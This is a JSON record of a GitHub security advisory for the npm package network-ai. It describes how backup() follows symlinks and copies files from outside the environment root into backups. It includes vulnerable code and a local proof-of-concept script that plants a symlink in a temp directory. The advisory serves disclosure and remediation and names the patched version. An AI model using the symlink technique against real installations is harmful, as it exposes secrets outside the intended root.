{"id":"GHSA-6x2m-p4xp-wg22","title":"Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups","summary":"Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups","severity":"medium","cvss":5.5,"cwe":["CWE-22","CWE-59"],"vendor":"network-ai","product":"network-ai","ecosystem":"npm","affected":["network-ai <= 5.12.1"],"patched":["network-ai 5.12.2"],"published":"2026-06-19","updated":"2026-06-19","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-6x2m-p4xp-wg22","references":[{"url":"https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-6x2m-p4xp-wg22"},{"url":"https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"},{"url":"https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"},{"url":"https://github.com/advisories/GHSA-6x2m-p4xp-wg22"}],"tags":["ghsa","npm"],"ingestedAt":"2026-06-22T13:35:24.254Z","slug":"GHSA-6x2m-p4xp-wg22","body":"## Overview\n\n### Summary\n`EnvironmentManager.backup()` recursively collects files using `_collectBackupFiles()`. `_collectBackupFiles()` uses `statSync(full)`, which follows symlinks. If `data/<env>` contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into `data/<env>/.backups/<backupId>/`.\n\nAn attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.\n\n### Details\n`backup()` collects file paths and copies them into the backup directory:\n\n```ts\nconst files = this._collectBackupFiles(envDir);\nfor (const rel of files) {\n  const src = join(envDir, rel);\n  const dst = join(backupPath, rel);\n  mkdirSync(join(backupPath, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });\n  try { copyFileSync(src, dst); } catch { /* skip unreadable */ }\n}\n```\n\n`_collectBackupFiles()` follows symlinked directories because it calls `statSync()`, not `lstatSync()`:\n\n```ts\nconst info = statSync(full);\nif (info.isDirectory()) {\n  walk(full, rel);\n} else {\n  results.push(rel);\n}\n```\n\nDefault CLI reachability exists through `network-ai env backup create --env <env>`. `backup()` also runs automatically before promotion and restore operations.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:435-460` — backup copy logic.\n- `lib/env-manager.ts:596-617` — symlink-following `_collectBackupFiles()`.\n- `bin/cli.ts:413-420` — default CLI exposes backup creation.\n- `lib/env-manager.ts:294-297` and `483-484` — backup also runs before promote/restore.\n\n### PoC\nThis PoC uses only temporary files. It creates a symlink inside `data/dev` pointing to an external directory, then runs `backup('dev')` and observes that the external file is copied into the backup:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - <<'TS'\nconst { EnvironmentManager } = require('./lib/env-manager');\nconst fs = require('fs');\nconst path = require('path');\nconst base = process.env.TMPBASE;\nconst data = path.join(base, 'data');\nconst outside = path.join(base, 'outside');\n\nfs.mkdirSync(outside, { recursive: true });\nfs.writeFileSync(path.join(outside, 'secret.txt'), 'secret-through-symlink');\n\nconst mgr = new EnvironmentManager(data, {\n  chain: ['dev', 'st'],\n  gates: { dev: 'auto', st: 'auto' },\n});\n\nmgr.init('dev');\nfs.symlinkSync(outside, path.join(data, 'dev', 'linked-outside'), 'dir');\n\nconst result = mgr.backup('dev');\nconst copied = path.join(result.path, 'linked-outside', 'secret.txt');\n\nconsole.log(JSON.stringify({\n  copied: fs.existsSync(copied),\n  content: fs.readFileSync(copied, 'utf8'),\n}, null, 2));\n\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result: `copied` is `true` and `content` is `secret-through-symlink`.\n\n### Impact\nAn attacker who can place a symlink in `data/<env>` can cause backup creation to copy arbitrary readable files from outside the environment root into `data/<env>/.backups/<backupId>/`. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`_collectBackupFiles()` now uses `lstatSync` instead of `statSync` and skips any entry where `isSymbolicLink()` is true. Symlinks are never traversed, so `backup()` can no longer follow a link out of the environment root and copy external files into a backup artifact.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.\n\n## Affected packages\n\n- `network-ai <= 5.12.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `network-ai 5.12.2`","depth":"sunlit","depthScore":30,"depthScoreParts":{"impact":30.3,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}